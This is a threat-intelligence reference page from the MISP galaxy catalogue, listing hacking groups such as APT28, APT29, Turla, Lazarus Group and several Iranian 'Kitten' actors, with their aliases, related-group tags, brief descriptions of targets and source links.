The Pitty Tiger group has been active since at least 2011. They have been seen using HeartBleed vulnerability in order to directly get valid credentials
The tag is: misp-galaxy:threat-actor="Pitty Panda"
Pitty Panda is also known as:
-
PittyTiger
-
MANGANESE
Pitty Panda has relationships with:
-
similar: misp-galaxy:mitre-intrusion-set="PittyTiger - G0011" with estimative-language:likelihood-probability="likely"
Roaming Tiger
The tag is: misp-galaxy:threat-actor="Roaming Tiger"
Links |
http://2014.zeronights.org/assets/files/slides/roaming_tiger_zeronights_2014.pdf |
Beijing Group
The tag is: misp-galaxy:threat-actor="Beijing Group"
Beijing Group is also known as:
-
Sneaky Panda
-
Elderwood
-
Elderwood Gang
-
SIG22
Beijing Group has relationships with:
-
similar: misp-galaxy:mitre-intrusion-set="Elderwood - G0066" with estimative-language:likelihood-probability="likely"
Links |
https://www.cfr.org/interactive/cyber-operations/sneaky-panda |
Radio Panda
The tag is: misp-galaxy:threat-actor="Radio Panda"
Radio Panda is also known as:
-
Shrouded Crossbow
Samurai Panda
The tag is: misp-galaxy:threat-actor="Samurai Panda"
Samurai Panda is also known as:
-
PLA Navy
-
APT4
-
APT 4
-
Wisp Team
Samurai Panda has relationships with:
-
similar: misp-galaxy:mitre-intrusion-set="APT18 - G0026" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="Wekby" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="Maverick Panda" with estimative-language:likelihood-probability="likely"
Links |
Impersonating Panda
The tag is: misp-galaxy:threat-actor="Impersonating Panda"
Violin Panda
We’ve uncovered some new data and likely attribution regarding a series of APT watering hole attacks this past summer. Watering hole attacks are an increasingly popular component of APT campaigns, as many people are more aware of spear phishing and are less likely to open documents or click on links in unsolicited emails. Watering hole attacks offer a much better chance of success because they involve compromising legitimate websites and installing malware intended to compromise website visitors. These are often popular websites frequented by people who work in specific industries or have political sympathies to which the actors want to gain access. In contrast to many other APT campaigns, which tend to rely heavily on spear phishing to gain victims, “th3bug” is known for compromising legitimate websites their intended visitors are likely to frequent. Over the summer they compromised several sites, including a well-known Uyghur website written in that native language.
The tag is: misp-galaxy:threat-actor="Violin Panda"
Violin Panda is also known as:
-
APT20
-
APT 20
-
TH3Bug
-
Twivy
Links |
Toxic Panda
A group targeting dissident groups in China and at the boundaries.
The tag is: misp-galaxy:threat-actor="Toxic Panda"
Links |
Temper Panda
China-based cyber threat group. It has previously used newsworthy events as lures to deliver malware and has primarily targeted organizations involved in financial, economic, and trade policy, typically using publicly available RATs such as PoisonIvy, as well as some non-public backdoors. This threat actor targets prodemocratic activists and organizations in Hong Kong, European and international financial institutions, and a U.S.-based think tank.
The tag is: misp-galaxy:threat-actor="Temper Panda"
Temper Panda is also known as:
-
Admin338
-
Team338
-
MAGNESIUM
-
admin@338
Temper Panda has relationships with:
-
similar: misp-galaxy:mitre-intrusion-set="admin@338 - G0018" with estimative-language:likelihood-probability="likely"
Links |
https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html |
Pirate Panda
The tag is: misp-galaxy:threat-actor="Pirate Panda"
Pirate Panda is also known as:
-
APT23
-
APT 23
-
KeyBoy
Flying Kitten
Activity: defense and aerospace sectors, also interested in targeting entities in the oil/gas industry.
The tag is: misp-galaxy:threat-actor="Flying Kitten"
Flying Kitten is also known as:
-
SaffronRose
-
Saffron Rose
-
AjaxSecurityTeam
-
Ajax Security Team
-
Group 26
-
Sayad
Flying Kitten has relationships with:
-
similar: misp-galaxy:threat-actor="Rocket Kitten" with estimative-language:likelihood-probability="very-likely"
-
similar: misp-galaxy:mitre-intrusion-set="Magic Hound - G0059" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="Charming Kitten" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="Cleaver" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="OilRig" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="Clever Kitten" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="CHRYSENE" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:mitre-intrusion-set="Cleaver - G0003" with estimative-language:likelihood-probability="likely"
Links |
https://www.cfr.org/interactive/cyber-operations/saffron-rose |
Cutting Kitten
While tracking a suspected Iran-based threat group known as Threat Group-2889[1] (TG-2889), Dell SecureWorks Counter Threat Unit™ (CTU) researchers uncovered a network of fake LinkedIn profiles. These convincing profiles form a self-referenced network of seemingly established LinkedIn users. CTU researchers assess with high confidence the purpose of this network is to target potential victims through social engineering. Most of the legitimate LinkedIn accounts associated with the fake accounts belong to individuals in the Middle East, and CTU researchers assess with medium confidence that these individuals are likely targets of TG-2889. One of the threat actors responsible for the denial of service attacks against U.S in 2012–2013. Three individuals associated with the group—believed to be have been working on behalf of Iran’s Islamic Revolutionary Guard Corps—were indicted by the Justice Department in 2016.
The tag is: misp-galaxy:threat-actor="Cutting Kitten"
Cutting Kitten is also known as:
-
ITSecTeam
-
Threat Group 2889
-
TG-2889
-
Ghambar
Cutting Kitten has relationships with:
-
similar: misp-galaxy:mitre-intrusion-set="Cleaver - G0003" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="Cleaver" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="OilRig" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="Clever Kitten" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="CHRYSENE" with estimative-language:likelihood-probability="likely"
Links |
Charming Kitten
Charming Kitten (aka Parastoo, aka Newscaster) is an group with a suspected nexus to Iran that targets organizations involved in government, defense technology, military, and diplomacy sectors.
The tag is: misp-galaxy:threat-actor="Charming Kitten"
Charming Kitten is also known as:
-
Newscaster
-
Parastoo
-
iKittens
-
Group 83
-
Newsbeef
-
NewsBeef
Charming Kitten has relationships with:
-
similar: misp-galaxy:mitre-intrusion-set="Charming Kitten - G0058" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:mitre-intrusion-set="Magic Hound - G0059" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="Flying Kitten" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="Rocket Kitten" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="Cleaver" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="OilRig" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="Clever Kitten" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="CHRYSENE" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:mitre-intrusion-set="Cleaver - G0003" with estimative-language:likelihood-probability="likely"
APT33
Our analysis reveals that APT33 is a capable group that has carried out cyber espionage operations since at least 2013. We assess APT33 works at the behest of the Iranian government.
The tag is: misp-galaxy:threat-actor="APT33"
APT33 is also known as:
-
APT 33
-
Elfin
-
MAGNALLIUM
-
Refined Kitten
APT33 has relationships with:
-
similar: misp-galaxy:mitre-intrusion-set="APT33 - G0064" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="MAGNALLIUM" with estimative-language:likelihood-probability="likely"
Links |
https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage |
Magic Kitten
Earliest activity back to November 2008. An established group of cyber attackers based in Iran, who carried on several campaigns in 2013, including a series of attacks targeting political dissidents and those supporting Iranian political opposition.
The tag is: misp-galaxy:threat-actor="Magic Kitten"
Magic Kitten is also known as:
-
Group 42
Links |
http://www.scmagazineuk.com/iran-and-russia-blamed-for-state-sponsored-espionage/article/330401/ |
Rocket Kitten
Targets Saudi Arabia, Israel, US, Iran, high ranking defense officials, embassies of various target countries, notable Iran researchers, human rights activists, media and journalists, academic institutions and various scholars, including scientists in the fields of physics and nuclear sciences.
The tag is: misp-galaxy:threat-actor="Rocket Kitten"
Rocket Kitten is also known as:
-
TEMP.Beanie
-
Operation Woolen Goldfish
-
Operation Woolen-Goldfish
-
Thamar Reservoir
-
Timberworm
Rocket Kitten has relationships with:
-
similar: misp-galaxy:threat-actor="Flying Kitten" with estimative-language:likelihood-probability="very-likely"
-
similar: misp-galaxy:mitre-intrusion-set="Magic Hound - G0059" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="Charming Kitten" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="Cleaver" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="OilRig" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="Clever Kitten" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="CHRYSENE" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:mitre-intrusion-set="Cleaver - G0003" with estimative-language:likelihood-probability="likely"
Links |
https://blog.checkpoint.com/wp-content/uploads/2015/11/rocket-kitten-report.pdf |
https://www.cfr.org/interactive/cyber-operations/rocket-kitten |
Cleaver
A group of cyber actors utilizing infrastructure located in Iran have been conducting computer network exploitation activity against public and private U.S. organizations, including Cleared Defense Contractors (CDCs), academic institutions, and energy sector companies. This threat actor targets entities in the government, energy, and technology sectors that are located in or do business with Saudi Arabia.
The tag is: misp-galaxy:threat-actor="Cleaver"
Cleaver is also known as:
-
Operation Cleaver
-
Tarh Andishan
-
Alibaba
-
2889
-
TG-2889
-
Cobalt Gypsy
-
Rocket_Kitten
-
Cutting Kitten
-
Group 41
-
Magic Hound
-
APT35
-
APT 35
-
TEMP.Beanie
-
Ghambar
Cleaver has relationships with:
-
similar: misp-galaxy:mitre-intrusion-set="Cleaver - G0003" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="Cutting Kitten" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="OilRig" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="Clever Kitten" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="CHRYSENE" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:mitre-intrusion-set="Magic Hound - G0059" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="Flying Kitten" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="Charming Kitten" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="Rocket Kitten" with estimative-language:likelihood-probability="likely"
Sands Casino
The tag is: misp-galaxy:threat-actor="Sands Casino"
Rebel Jackal
This is a pro-Islamist organization that generally conducts attacks motivated by real world events in which its members believe that members of the Muslim faith were wronged. Its attacks generally involve website defacements; however, the group did develop a RAT that it refers to as Fallaga RAT, but which appears to simply be a fork of the njRAT malware popular amongst hackers in the Middle East/North Africa region.
The tag is: misp-galaxy:threat-actor="Rebel Jackal"
Rebel Jackal is also known as:
-
FallagaTeam
Viking Jackal
The tag is: misp-galaxy:threat-actor="Viking Jackal"
Viking Jackal is also known as:
-
Vikingdom
Sofacy
The Sofacy Group (also known as APT28, Pawn Storm, Fancy Bear and Sednit) is a cyber espionage group believed to have ties to the Russian government. Likely operating since 2007, the group is known to target government, military, and security organizations. It has been characterized as an advanced persistent threat.
The tag is: misp-galaxy:threat-actor="Sofacy"
Sofacy is also known as:
-
APT 28
-
APT28
-
Pawn Storm
-
PawnStorm
-
Fancy Bear
-
Sednit
-
SNAKEMACKEREL
-
TsarTeam
-
Tsar Team
-
TG-4127
-
Group-4127
-
STRONTIUM
-
TAG_0700
-
Swallowtail
-
IRON TWILIGHT
-
Group 74
-
SIG40
-
Grizzly Steppe
-
apt_sofacy
Sofacy has relationships with:
-
similar: misp-galaxy:mitre-intrusion-set="APT28 - G0007" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:microsoft-activity-group="STRONTIUM" with estimative-language:likelihood-probability="likely"
APT 29
A 2015 report by F-Secure describe APT29 as: 'The Dukes are a well-resourced, highly dedicated and organized cyberespionage group that we believe has been working for the Russian Federation since at least 2008 to collect intelligence in support of foreign and security policy decision-making. The Dukes show unusual confidence in their ability to continue successfully compromising their targets, as well as in their ability to operate with impunity. The Dukes primarily target Western governments and related organizations, such as government ministries and agencies, political think tanks, and governmental subcontractors. Their targets have also included the governments of members of the Commonwealth of Independent States;Asian, African, and Middle Eastern governments;organizations associated with Chechen extremism;and Russian speakers engaged in the illicit trade of controlled substances and drugs. The Dukes are known to employ a vast arsenal of malware toolsets, which we identify as MiniDuke, CosmicDuke, OnionDuke, CozyDuke, CloudDuke, SeaDuke, HammerDuke, PinchDuke, and GeminiDuke. In recent years, the Dukes have engaged in apparently biannual large - scale spear - phishing campaigns against hundreds or even thousands of recipients associated with governmental institutions and affiliated organizations. These campaigns utilize a smash - and - grab approach involving a fast but noisy breakin followed by the rapid collection and exfiltration of as much data as possible.If the compromised target is discovered to be of value, the Dukes will quickly switch the toolset used and move to using stealthier tactics focused on persistent compromise and long - term intelligence gathering. This threat actor targets government ministries and agencies in the West, Central Asia, East Africa, and the Middle East; Chechen extremist groups; Russian organized crime; and think tanks. It is suspected to be behind the 2015 compromise of unclassified networks at the White House, Department of State, Pentagon, and the Joint Chiefs of Staff. The threat actor includes all of the Dukes tool sets, including MiniDuke, CosmicDuke, OnionDuke, CozyDuke, SeaDuke, CloudDuke (aka MiniDionis), and HammerDuke (aka Hammertoss). '
The tag is: misp-galaxy:threat-actor="APT 29"
APT 29 is also known as:
-
Dukes
-
Group 100
-
Cozy Duke
-
CozyDuke
-
EuroAPT
-
CozyBear
-
CozyCar
-
Cozer
-
Office Monkeys
-
OfficeMonkeys
-
APT29
-
Cozy Bear
-
The Dukes
-
Minidionis
-
SeaDuke
-
Hammer Toss
-
YTTRIUM
-
Iron Hemlock
-
Grizzly Steppe
APT 29 has relationships with:
-
similar: misp-galaxy:mitre-intrusion-set="APT29 - G0016" with estimative-language:likelihood-probability="likely"
Turla Group
A 2014 Guardian article described Turla as: 'Dubbed the Turla hackers, initial intelligence had indicated western powers were key targets, but it was later determined embassies for Eastern Bloc nations were of more interest. Embassies in Belgium, Ukraine, China, Jordan, Greece, Kazakhstan, Armenia, Poland, and Germany were all attacked, though researchers from Kaspersky Lab and Symantec could not confirm which countries were the true targets. In one case from May 2012, the office of the prime minister of a former Soviet Union member country was infected, leading to 60 further computers being affected, Symantec researchers said. There were some other victims, including the ministry for health of a Western European country, the ministry for education of a Central American country, a state electricity provider in the Middle East and a medical organisation in the US, according to Symantec. It is believed the group was also responsible for a much - documented 2008 attack on the US Central Command. The attackers - who continue to operate - have ostensibly sought to carry out surveillance on targets and pilfer data, though their use of encryption across their networks has made it difficult to ascertain exactly what the hackers took.Kaspersky Lab, however, picked up a number of the attackers searches through their victims emails, which included terms such as Nato and EU energy dialogue Though attribution is difficult to substantiate, Russia has previously been suspected of carrying out the attacks and Symantecs Gavin O’ Gorman told the Guardian a number of the hackers appeared to be using Russian names and language in their notes for their malicious code. Cyrillic was also seen in use.'
The tag is: misp-galaxy:threat-actor="Turla Group"
Turla Group is also known as:
-
Turla
-
Snake
-
Venomous Bear
-
VENOMOUS Bear
-
Group 88
-
Waterbug
-
WRAITH
-
Turla Team
-
Uroburos
-
Pfinet
-
TAG_0530
-
KRYPTON
-
Hippo Team
-
Pacifier APT
-
Popeye
-
SIG23
-
Iron Hunter
-
MAKERSMARK
Turla Group has relationships with:
-
similar: misp-galaxy:mitre-intrusion-set="Turla - G0010" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="APT 26" with estimative-language:likelihood-probability="likely"
Energetic Bear
A Russian group that collects intelligence on the energy industry.
The tag is: misp-galaxy:threat-actor="Energetic Bear"
Energetic Bear is also known as:
-
Dragonfly
-
Crouching Yeti
-
Group 24
-
Havex
-
CrouchingYeti
-
Koala Team
-
IRON LIBERTY
Energetic Bear has relationships with:
-
similar: misp-galaxy:mitre-intrusion-set="Dragonfly - G0035" with estimative-language:likelihood-probability="likely"
Sandworm
This threat actor targets industrial control systems, using a tool called Black Energy, associated with electricity and power generation for espionage, denial of service, and data destruction purposes. Some believe that the threat actor is linked to the 2015 compromise of the Ukrainian electrical grid and a distributed denial of service prior to the Russian invasion of Georgia. Believed to be responsible for the 2008 DDoS attacks in Georgia and the 2015 Ukraine power grid outage
The tag is: misp-galaxy:threat-actor="Sandworm"
Sandworm is also known as:
-
Sandworm Team
-
Black Energy
-
BlackEnergy
-
Quedagh
-
Voodoo Bear
-
TEMP.Noble
-
Iron Viking
Sandworm has relationships with:
-
similar: misp-galaxy:mitre-intrusion-set="Sandworm Team - G0034" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="TeleBots" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="ELECTRUM" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="GreyEnergy" with estimative-language:likelihood-probability="likely"
TeleBots
We will refer to the gang behind the malware as TeleBots. However it’s important to say that these attackers, and the toolset used, share a number of similarities with the BlackEnergy group, which conducted attacks against the energy industry in Ukraine in December 2015 and January 2016. In fact, we think that the BlackEnergy group has evolved into the TeleBots group. TeleBots appear to be associated with Sandworm Team, Iron Viking, Voodoo Bear.
The tag is: misp-galaxy:threat-actor="TeleBots"
TeleBots is also known as:
-
Sandworm
TeleBots has relationships with:
-
similar: misp-galaxy:mitre-intrusion-set="Sandworm Team - G0034" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="Sandworm" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="ELECTRUM" with estimative-language:likelihood-probability="likely"
Anunak
Groups targeting financial organizations or people with significant financial assets.
The tag is: misp-galaxy:threat-actor="Anunak"
Anunak is also known as:
-
Carbanak
-
Carbon Spider
-
FIN7
Anunak has relationships with:
-
similar: misp-galaxy:mitre-intrusion-set="FIN7 - G0046" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:mitre-intrusion-set="Carbanak - G0008" with estimative-language:likelihood-probability="likely"
TeamSpy Crew
Researchers have uncovered a long-term cyber-espionage campaign that used a combination of legitimate software packages and commodity malware tools to target a variety of heavy industry, government intelligence agencies and political activists. Known as the TeamSpy crew because of its affinity for using the legitimate TeamViewer application as part of its toolset, the attackers may have been active for as long as 10 years, researchers say. The attack appears to be a years-long espionage campaign, but experts who have analyzed the victim profile, malware components and command-and-control infrastructure say that it’s not entirely clear what kind of data the attackers are going after. What is clear, though, is that the attackers have been at this for a long time and that they have specific people in mind as targets. Researchers at the CrySyS Lab in Hungary were alerted by the Hungarian National Security Authority to an attack against a high-profile target in the country and began looking into the campaign. They quickly discovered that some of the infrastructure being used in the attack had been in use for some time and that the target they were investigating was by no means the only one.
The tag is: misp-galaxy:threat-actor="TeamSpy Crew"
TeamSpy Crew is also known as:
-
TeamSpy
-
Team Bear
-
Berserk Bear
-
Anger Bear
-
IRON LYRIC
TeamSpy Crew has relationships with:
-
similar: misp-galaxy:threat-actor="Berserk Bear" with estimative-language:likelihood-probability="likely"
Links |
https://www.cfr.org/interactive/cyber-operations/team-spy-crew |
https://www.secureworks.com/research/resurgent-iron-liberty-targeting-energy-sector |
BuhTrap
Buhtrap has been active since 2014, however their first attacks against financial institutions were only detected in August 2015. Earlier, the group had only focused on targeting banking clients. At the moment, the group is known to target Russian and Ukrainian banks. From August 2015 to February 2016 Buhtrap managed to conduct 13 successful attacks against Russian banks for a total amount of 1.8 billion rubles ($25.7 mln). The number of successful attacks against Ukrainian banks has not been identified. Buhtrap is the first hacker group using a network worm to infect the overall bank infrastructure that significantly increases the difficulty of removing all malicious functions from the network. As a result, banks have to shut down the whole infrastructure which provokes delay in servicing customers and additional losses. Malicious programs intentionally scan for machines with an automated Bank-Customer system of the Central Bank of Russia (further referred to as BCS CBR). We have not identified incidents of attacks involving online money transfer systems, ATM machines or payment gates which are known to be of interest for other criminal groups.
The tag is: misp-galaxy:threat-actor="BuhTrap"
Berserk Bear
The tag is: misp-galaxy:threat-actor="Berserk Bear"
Berserk Bear has relationships with:
-
similar: misp-galaxy:threat-actor="TeamSpy Crew" with estimative-language:likelihood-probability="likely"
Wolf Spider
FIN4 is a financially-motivated threat group that has targeted confidential information related to the public financial market, particularly regarding healthcare and pharmaceutical companies, since at least 2013. FIN4 is unique in that they do not infect victims with typical persistent malware, but rather they focus on capturing credentials authorized to access email and other non-public correspondence.
The tag is: misp-galaxy:threat-actor="Wolf Spider"
Wolf Spider is also known as:
-
FIN4
Boulder Bear
First observed activity in December 2013.
The tag is: misp-galaxy:threat-actor="Boulder Bear"
Shark Spider
This group’s activity was first observed in November 2013. It leverages a banking Trojan more commonly known as Shylock which aims to compromise online banking credentials and credentials related to Bitcoin wallets.
The tag is: misp-galaxy:threat-actor="Shark Spider"
Union Spider
Adversary targeting manufacturing and industrial organizations.
The tag is: misp-galaxy:threat-actor="Union Spider"
Links |
Silent Chollima
The tag is: misp-galaxy:threat-actor="Silent Chollima"
Silent Chollima is also known as:
-
OperationTroy
-
Guardian of Peace
-
GOP
-
WHOis Team
-
Andariel
-
Subgroup: Andariel
Links |
Lazarus Group
Since 2009, HIDDEN COBRA actors have leveraged their capabilities to target and compromise a range of victims; some intrusions have resulted in the exfiltration of data while others have been disruptive in nature. Commercial reporting has referred to this activity as Lazarus Group and Guardians of Peace. Tools and capabilities used by HIDDEN COBRA actors include DDoS botnets, keyloggers, remote access tools (RATs), and wiper malware. Variants of malware and tools used by HIDDEN COBRA actors include Destover, Duuzer, and Hangman.
The tag is: misp-galaxy:threat-actor="Lazarus Group"
Lazarus Group is also known as:
-
Operation DarkSeoul
-
Dark Seoul
-
Hidden Cobra
-
Hastati Group
-
Andariel
-
Unit 121
-
Bureau 121
-
NewRomanic Cyber Army Team
-
Bluenoroff
-
Subgroup: Bluenoroff
-
Group 77
-
Labyrinth Chollima
-
Operation Troy
-
Operation GhostSecret
-
Operation AppleJeus
-
APT38
-
APT 38
-
Stardust Chollima
-
Whois Hacking Team
-
Zinc
-
Appleworm
-
Nickel Academy
-
APT-C-26
Lazarus Group has relationships with:
-
similar: misp-galaxy:mitre-intrusion-set="Lazarus Group - G0032" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="COVELLITE" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="Operation Sharpshooter" with estimative-language:likelihood-probability="likely"
-
linked-to: misp-galaxy:threat-actor="APT37" with estimative-language:likelihood-probability="likely"
Viceroy Tiger
The tag is: misp-galaxy:threat-actor="Viceroy Tiger"
Viceroy Tiger is also known as:
-
Appin
-
OperationHangover
Links |
Pizzo Spider
The tag is: misp-galaxy:threat-actor="Pizzo Spider"
Pizzo Spider is also known as:
-
DD4BC
-
Ambiorx
Corsair Jackal
The tag is: misp-galaxy:threat-actor="Corsair Jackal"
Corsair Jackal is also known as:
-
TunisianCyberArmy
Links |
SNOWGLOBE
In 2014, researchers at Kaspersky Lab discovered and reported on three zero-days that were being used in cyberattacks in the wild. Two of these zero-day vulnerabilities are associated with an advanced threat actor we call Animal Farm. Over the past few years, Animal Farm has targeted a wide range of global organizations. The group has been active since at least 2009 and there are signs that earlier malware versions were developed as far back as 2007.
The tag is: misp-galaxy:threat-actor="SNOWGLOBE"
SNOWGLOBE is also known as:
-
Animal Farm
-
Snowglobe
Deadeye Jackal
The Syrian Electronic Army (SEA) is a group of computer hackers which first surfaced online in 2011 to support the government of Syrian President Bashar al-Assad. Using spamming, website defacement, malware, phishing, and denial of service attacks, it has targeted political opposition groups, western news organizations, human rights groups and websites that are seemingly neutral to the Syrian conflict. It has also hacked government websites in the Middle East and Europe, as well as US defense contractors. As of 2011 the SEA has been the first Arab country to have a public Internet Army hosted on its national networks to openly launch cyber attacks on its enemies. The precise nature of SEA’s relationship with the Syrian government has changed over time and is unclear
The tag is: misp-galaxy:threat-actor="Deadeye Jackal"
Deadeye Jackal is also known as:
-
SyrianElectronicArmy
-
SEA
Links |
Operation C-Major
Group targeting Indian Army or related assets in India, as well as activists and civil society in Pakistan. Attribution to a Pakistani connection has been made by TrendMicro and others.
The tag is: misp-galaxy:threat-actor="Operation C-Major"
Operation C-Major is also known as:
-
C-Major
-
Transparent Tribe
-
Mythic Leopard
-
ProjectM
-
APT36
-
APT 36
-
TMP.Lapis
Operation C-Major has relationships with:
-
similar: misp-galaxy:microsoft-activity-group="https://www.cfr.org/interactive/cyber-operations/mythic-leopard" with estimative-language:likelihood-probability="likely"
Stealth Falcon
This threat actor targets civil society groups and Emirati journalists, activists, and dissidents.
The tag is: misp-galaxy:threat-actor="Stealth Falcon"
Stealth Falcon is also known as:
-
FruityArmor
Stealth Falcon has relationships with:
-
similar: misp-galaxy:mitre-intrusion-set="Stealth Falcon - G0038" with estimative-language:likelihood-probability="likely"
Links |
https://www.cfr.org/interactive/cyber-operations/stealth-falcon |
https://securelist.com/cve-2019-0797-zero-day-vulnerability/89885/ |
ScarCruft
ScarCruft is a relatively new APT group; victims have been observed in several countries, including Russia, Nepal, South Korea, China, India, Kuwait and Romania. The group has several ongoing operations utilizing multiple exploits — two for Adobe Flash and one for Microsoft Internet Explorer.
The tag is: misp-galaxy:threat-actor="ScarCruft"
ScarCruft is also known as:
-
Operation Daybreak
-
Operation Erebus
ScarCruft has relationships with:
-
similar: misp-galaxy:mitre-intrusion-set="APT37 - G0067" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="APT37" with estimative-language:likelihood-probability="likely"
HummingBad
This group created a malware that takes over Android devices and generates $300,000 per month in fraudulent ad revenue. The group effectively controls an arsenal of over 85 million mobile devices around the world. With the potential to sell access to these devices to the highest bidder
The tag is: misp-galaxy:threat-actor="HummingBad"
Links |
http://blog.checkpoint.com/wp-content/uploads/2016/07/HummingBad-Research-report_FINAL-62916.pdf |
Dropping Elephant
Dropping Elephant (also known as “Chinastrats” and “Patchwork“) is a relatively new threat actor that is targeting a variety of high profile diplomatic and economic targets using a custom set of attack tools. Its victims are all involved with China’s foreign relations in some way, and are generally caught through spear-phishing or watering hole attacks.
The tag is: misp-galaxy:threat-actor="Dropping Elephant"
Dropping Elephant is also known as:
-
Chinastrats
-
Patchwork
-
Monsoon
-
Sarit
-
Quilted Tiger
-
APT-C-09
Dropping Elephant has relationships with:
-
similar: misp-galaxy:mitre-intrusion-set="Patchwork - G0040" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:mitre-intrusion-set="MONSOON - G0042" with estimative-language:likelihood-probability="likely"
Scarlet Mimic
Scarlet Mimic is a threat group that has targeted minority rights activists. This group has not been directly linked to a government source, but the group’s motivations appear to overlap with those of the Chinese government. While there is some overlap between IP addresses used by Scarlet Mimic and Putter Panda, APT 2, it has not been concluded that the groups are the same. The attacks began over four years ago and their targeting pattern suggests that this adversary’s primary mission is to gather information about minority rights activists. We do not have evidence directly linking these attacks to a government source, but the information derived from these activities supports an assessment that a group or groups with motivations similar to the stated position of the Chinese government in relation to these targets is involved. The attacks we attribute to Scarlet Mimic have primarily targeted Uyghur and Tibetan activists as well as those who are interested in their causes. Both the Tibetan community and the Uyghurs, a Turkic Muslim minority residing primarily in northwest China, have been targets of multiple sophisticated attacks in the past decade. Both also have history of strained relationships with the government of the People’s Republic of China (PRC), though we do not have evidence that links Scarlet Mimic attacks to the PRC. Scarlet Mimic attacks have also been identified against government organizations in Russia and India, who are responsible for tracking activist and terrorist activities. While we do not know the precise target of each of the Scarlet Mimic attacks, many of them align to the patterns described above.
The tag is: misp-galaxy:threat-actor="Scarlet Mimic"
Scarlet Mimic has relationships with:
-
similar: misp-galaxy:mitre-intrusion-set="Scarlet Mimic - G0029" with estimative-language:likelihood-probability="likely"
Links |
https://unit42.paloaltonetworks.com/scarlet-mimic-years-long-espionage-targets-minority-activists/ |
Poseidon Group
Poseidon Group is a Portuguese-speaking threat group that has been active since at least 2005. The group has a history of using information exfiltrated from victims to blackmail victim companies into contracting the Poseidon Group as a security firm.
The tag is: misp-galaxy:threat-actor="Poseidon Group"
Poseidon Group has relationships with:
-
similar: misp-galaxy:mitre-intrusion-set="Poseidon Group - G0033" with estimative-language:likelihood-probability="likely"
Links |
DragonOK
Threat group that has targeted Japanese organizations with phishing emails. Due to overlapping TTPs, including similar custom tools, DragonOK is thought to have a direct or indirect relationship with the threat group Moafee. 2223 It is known to use a variety of malware, including Sysget/HelloBridge, PlugX, PoisonIvy, FormerFirstRat, NFlog, and NewCT.
The tag is: misp-galaxy:threat-actor="DragonOK"
DragonOK is also known as:
-
Moafee
DragonOK has relationships with:
-
similar: misp-galaxy:mitre-intrusion-set="Moafee - G0002" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:mitre-intrusion-set="DragonOK - G0017" with estimative-language:likelihood-probability="likely"
Links |
http://www.morphick.com/resources/news/deep-dive-dragonok-rambo-backdoor |
https://www.phnompenhpost.com/national/kingdom-targeted-new-malware |
Threat Group-3390
Chinese threat group that has extensively used strategic Web compromises to target victims.
The tag is: misp-galaxy:threat-actor="Threat Group-3390"
Threat Group-3390 is also known as:
-
TG-3390
-
Emissary Panda
Threat Group-3390 has relationships with:
-
similar: misp-galaxy:mitre-intrusion-set="Threat Group-3390 - G0027" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="Emissary Panda" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="LuckyMouse" with estimative-language:likelihood-probability="likely"
Links |
https://www.cfr.org/interactive/cyber-operations/emissary-panda |
ProjectSauron
